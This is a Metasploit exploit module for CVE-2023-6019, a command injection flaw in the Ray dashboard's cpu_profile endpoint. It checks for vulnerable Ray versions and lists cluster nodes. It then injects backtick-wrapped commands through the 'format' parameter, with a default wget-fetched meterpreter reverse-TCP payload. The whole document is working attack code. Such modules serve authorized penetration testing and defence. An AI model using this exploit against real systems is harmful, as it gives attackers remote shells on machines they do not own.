Ray cpu_profile Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ray cpu_profile command injection',        'Description' => %q{          Ray RCE via cpu_profile command injection vulnerability.        },        'Author' => [          'sierrabearchell',                      # Vulnerability discovery          'byt3bl33d3r <[email protected]>', # Python Metasploit module          'Takahiro Yokoyama'                     # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-6019'],          ['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'],        ],        'CmdStagerFlavor' => %i[wget],        'Payload' => {          'DisableNops' => true        },        'Platform' => %w[linux],        'Targets' => [          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],          [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],          [            'Linux Command', {              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',                'FETCH_COMMAND' => 'WGET'              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-11-15',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        Opt::RPORT(8265),      ]    )  end  def get_nodes    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')    })    return unless res && res.code == 200    JSON.parse(res.body)  end  def check    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api/version')    })    return Exploit::CheckCode::Unknown unless res && res.code == 200    ray_version = res.get_json_document['ray_version']    return Exploit::CheckCode::Unknown unless ray_version    ray_version = Rex::Version.new(ray_version)    return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')    @nodes = get_nodes    return Exploit::CheckCode::Vulnerable unless @nodes.nil?    Exploit::CheckCode::Appears  end  def exploit    # We need to pass valid node info to /worker/cpu_profile for the server to process the request    # First we list all nodes and grab the pid and ip of the first one (could be any)    @nodes ||= get_nodes    fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes    first_node = @nodes['data']['summary'].first    fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')    pid = first_node['agent']['pid']    fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')    ip = first_node['ip']    print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")    case target['Type']    when :nix_cmd      execute_command(payload.encoded, { pid: pid, ip: ip })    else      execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })    end  end  def execute_command(cmd, opts = {})    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'),      'vars_get' => {        'pid' => opts[:pid],        'ip' => opts[:ip],        'duration' => 5,        'native' => 0,        'format' => "`#{cmd}`"      }    })  endend